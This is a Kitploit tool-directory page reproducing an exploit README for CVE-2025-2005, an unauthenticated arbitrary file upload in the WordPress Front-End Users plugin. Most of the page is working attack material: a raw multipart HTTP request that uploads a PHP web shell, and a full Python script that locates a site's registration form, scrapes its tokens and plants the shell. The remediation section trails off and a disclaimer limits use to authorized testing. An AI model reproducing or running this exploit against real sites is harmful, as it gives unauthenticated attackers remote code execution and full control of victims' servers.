Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-2005 — WordPress Front End Users Plugin <= 3.2.32 is vulnerable to Arbitrary File Upload | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-2005
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnxploited/cve-2025-2005

CVE-2025-2005

WordPress Front End Users Plugin <= 3.2.32 is vulnerable to Arbitrary File Upload

View Repository
931 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-2005

WordPress Front End Users Plugin <= 3.2.32 is vulnerable to Arbitrary File Upload

WordPress Front-End Users Plugin Exploit

Vulnerability Information

  • Plugin Name: Front-End Users Plugin
  • Version Affected: <= 3.2.32
  • Vulnerability Type: Arbitrary File Upload
  • CVSS Score: 10 (Critical)
  • Risk: This vulnerability allows unauthenticated attackers to upload arbitrary files (such as PHP web shells), which can then be executed remotely. This provides full code execution on the server, leading to complete compromise.

Vulnerability Description

The vulnerability exists in the way the Front-End Users plugin handles file uploads through registration forms. There is no proper file extension validation, authentication checks, or file type sanitization. An attacker can send a multipart/form-data POST request to any registration form rendered by the plugin and include a malicious PHP file under the custom field (e.g. Nxploit).

Even though the plugin stores uploaded files in the wp-content/uploads/ewd_feup_uploads/ directory, the uploaded file is renamed with a random hash. However, the file remains executable if PHP execution is allowed in the uploads directory.


Proof of Concept (PoC)

PoC 1 - Manual HTTP Request

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--

After the request, the file will be saved in the following location:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php

The filename will not match the uploaded name (e.g., shell.php) but can be discovered manually or guessed with a scanner.


PoC 2 - Python Exploit Script

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print("[*] Starting scan on:", base_url)

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Failed to fetch base URL.")
    print("Error:", str(e))
    exit()

page_links = set()
for a in soup.find_all("a", href=True):
    href = a["href"]
    if href.startswith("/") or base_url in href:
        full_url = urljoin(base_url, href)
        page_links.add(full_url)

print(f"[*] Found {len(page_links)} internal pages to scan...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
            registration_url = link
            print(f"[+] Found FEUP registration form at: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] Could not automatically locate the FEUP registration form.")
    print("[!] Please provide the correct path manually using --url.")
    exit()

page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')

def get_input_value(name):
    field = soup.find('input', {'name': name})
    return field['value'] if field else ''

check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')

file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''

print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)

data = {
    'ewd-feup-check': check_value,
    'ewd-feup-time': time_value,
    'ewd-feup-action': 'register',
    'ewd-feup-post-id': post_id,
    'ewd-feup-omit-level': 'No',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'First Name': 'admin',
    'Last Name': 'admin',
    'Register_Submit': 'Register'
}

files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}

print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")

if upload_response.status_code == 200:
    print("[+] Upload request completed.")
else:
    print("[-] Upload may have failed.")

temp_shell.close()


Remediation

Update the Front-End Users plugin to the latest secure version (if available), or disable it temporarily if no patch exists. Additionally:



Disclaimer

This PoC is for educational and authorized security testing purposes only. Use it responsibly and only against targets you have explicit permission to test.

by Nxploit.

Download Tool